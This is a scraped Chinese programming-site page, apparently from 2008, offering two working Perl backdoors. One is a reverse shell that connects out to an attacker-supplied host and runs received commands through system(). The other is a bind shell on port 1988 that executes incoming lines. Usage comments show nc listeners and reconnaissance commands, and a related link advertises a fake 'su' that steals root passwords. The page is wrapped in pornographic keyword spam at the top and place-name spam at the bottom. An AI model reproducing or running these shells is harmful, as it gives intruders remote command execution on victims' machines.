最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

perl后門(mén),正向和反向!實(shí)例代碼

 更新時(shí)間:2008年05月07日 23:47:37   投稿:mdxy-dxy  
寫(xiě)過(guò)很多關(guān)于Perl編程,今天繼續(xù)分享一篇利用perl后門(mén)實(shí)現(xiàn)正向和反向連接的實(shí)例代碼,需要的朋友可以參考下其中的內(nèi)容詳情

by 小杰 都是使用nc監(jiān)聽(tīng)

 反向連接代碼:

#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988

#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote   = $ARGV[0] || "127.0.0.1";
my $remote_port = $ARGV[1] || 1988;
my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );
my $path = cwd();
$ARGC = @ARGV;

if ( $ARGV[0] !~ /-/ ) {
  socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') )
   or die "socket error: ";
  STDOUT->autoflush(1);
  SOCKET->autoflush(1);
  $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!";
  open STDIN, ">&SOCKET";
  open STDOUT, ">&SOCKET";
  open STDERR, ">&SOCKET";
  print "You are in $path\n";
  print "Welcome to use.\n";
  print "console>\n";

  while (<STDIN>) {
    chomp;
    if ( lc($_) eq 'exit' ) {
      print " Bye Bye!";
      exit;
    }
    $msg = system($_);
    if ($msg) {
      print STDOUT "\n$msg\n";
      print STDOUT "console>";
    }
    else {
      print "console>";
    }
  }
  close SOCKET;
  exit;
}

正向連接代碼: 

#!/usr/bin/perl
#ActivePerl 5.8.8 Build 822
#usage:
#first:perl backdoor2c.pl
#second:nc -vv 127.0.0.1 1988
#net user
#ipconfig /all
#netstat -anb
use IO::Socket;
$port = "1988";
my $socket = new IO::Socket::INET(
  'Localhost' => '127.0.0.1',
  'LocalPort' => $port,
  'Listen'  => 1,
  'Proto'   => 'tcp',
  'Reuse'   => 1
);
die "Reason: $!" unless $socket;
while ( my $new_socket = $socket->accept() ) {
  while ( my $buffer = <$new_socket> ) {
    if ( $buffer =~ /exit/ ) { exit; }
    $res_msg = `$buffer`;
    print $new_socket "$res_msg\ncmd>";
  }
}

 這篇文章就結(jié)束到這了,希望能幫助到有需要的朋友。

相關(guān)文章

  • 基于charles抓取https請(qǐng)求使用過(guò)程解析

    基于charles抓取https請(qǐng)求使用過(guò)程解析

    這篇文章主要介紹了基于charles抓取https請(qǐng)求使用過(guò)程解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-11-11
  • 在Perl中使用Getopt::Long模塊來(lái)接收用戶(hù)命令行參數(shù)

    在Perl中使用Getopt::Long模塊來(lái)接收用戶(hù)命令行參數(shù)

    我們?cè)趌inux常常用到一個(gè)程序需要加入?yún)?shù),現(xiàn)在了解一下perl中的有關(guān)控制參數(shù)的函數(shù).getopt.在linux有的參數(shù)有二種形式.一種是–help,另一種是-h.也就是-和–的分別.–表示完整參數(shù).-表示簡(jiǎn)化參數(shù)
    2013-03-03
  • perl寫(xiě)的一個(gè)隨機(jī)編故事的程序(rand隨機(jī)函數(shù))

    perl寫(xiě)的一個(gè)隨機(jī)編故事的程序(rand隨機(jī)函數(shù))

    用perl寫(xiě)的一個(gè)隨機(jī)編故事的程序,用到了rand隨機(jī)函數(shù),注釋也很詳細(xì),需要的朋友可以參考下
    2013-03-03
  • 構(gòu)造函數(shù)中Perl方法用法介紹

    構(gòu)造函數(shù)中Perl方法用法介紹

    本文和大家重點(diǎn)討論一下Perl方法的概念,Perl方法定義不提供任何特殊語(yǔ)法,但規(guī)定Perl方法的第一個(gè)參數(shù)為對(duì)象或其被引用的包。Perl有兩種Perl方法:靜態(tài)Perl方法和虛P(yáng)erl方法
    2013-03-03
  • perl如何避免腳本在windows中閃一下就關(guān)閉

    perl如何避免腳本在windows中閃一下就關(guān)閉

    寫(xiě)好了perl程序,運(yùn)行后,準(zhǔn)備等待結(jié)果輸出時(shí),結(jié)果雙擊后,看到屏幕閃了一下,然后什么都沒(méi)有了,根本沒(méi)有機(jī)會(huì)然你看到輸出的結(jié)果
    2013-03-03
  • 冒充su ,perl寫(xiě)的su.pl盜取root密碼

    冒充su ,perl寫(xiě)的su.pl盜取root密碼

    backtrack3里面/pentest/housekeeping里面有個(gè)超囧的偷root密碼的東西,冒充su ,perl寫(xiě)的,管理員輸入密碼的時(shí)候還直接回顯
    2008-09-09
  • perl 學(xué)習(xí)資料整理篇

    perl 學(xué)習(xí)資料整理篇

    比較多也亂了點(diǎn),大家先看看吧
    2008-10-10
  • perl腳本學(xué)習(xí)指南--讀書(shū)筆記

    perl腳本學(xué)習(xí)指南--讀書(shū)筆記

    最近在實(shí)習(xí),看著公司有些腳本是perl寫(xiě),久聞perl處理文本還是很強(qiáng)大的,趁著周末掃了一般這本書(shū)~記錄下了~
    2014-08-08
  • Perl文件句柄詳解

    Perl文件句柄詳解

    本文介紹一下Perl文件句柄的概念,要從文件中讀取一塊數(shù)據(jù),應(yīng)用程序需要調(diào)用函數(shù)ReadFile,并將Perl文件句柄在內(nèi)存中的地址和要拷貝的字節(jié)數(shù)傳送給操作系統(tǒng)
    2013-03-03
  • Perl模塊編寫(xiě)說(shuō)明

    Perl模塊編寫(xiě)說(shuō)明

    這兩天在用Perl編寫(xiě)一些監(jiān)控腳本,其實(shí)寫(xiě)代碼也是一件挺有意思的事情,就是挺廢時(shí)間的。而且,由于語(yǔ)法不太熟,基本想到一個(gè)東西都要先Google一下看怎么實(shí)現(xiàn)。
    2008-06-06

最新評(píng)論

成都市| 舟曲县| 东城区| 思茅市| 水城县| 竹山县| 湖南省| 监利县| 万盛区| 宽城| 阳谷县| 龙井市| 南郑县| 隆安县| 遂川县| 元氏县| 金平| 盐源县| 建瓯市| 张北县| 绵阳市| 南京市| 眉山市| 句容市| 乌恰县| 潍坊市| 青阳县| 江华| 太康县| 青浦区| 临高县| 滕州市| 东源县| 铜山县| 舞阳县| 元谋县| 静乐县| 宜黄县| 雅安市| 原平市| 南丰县|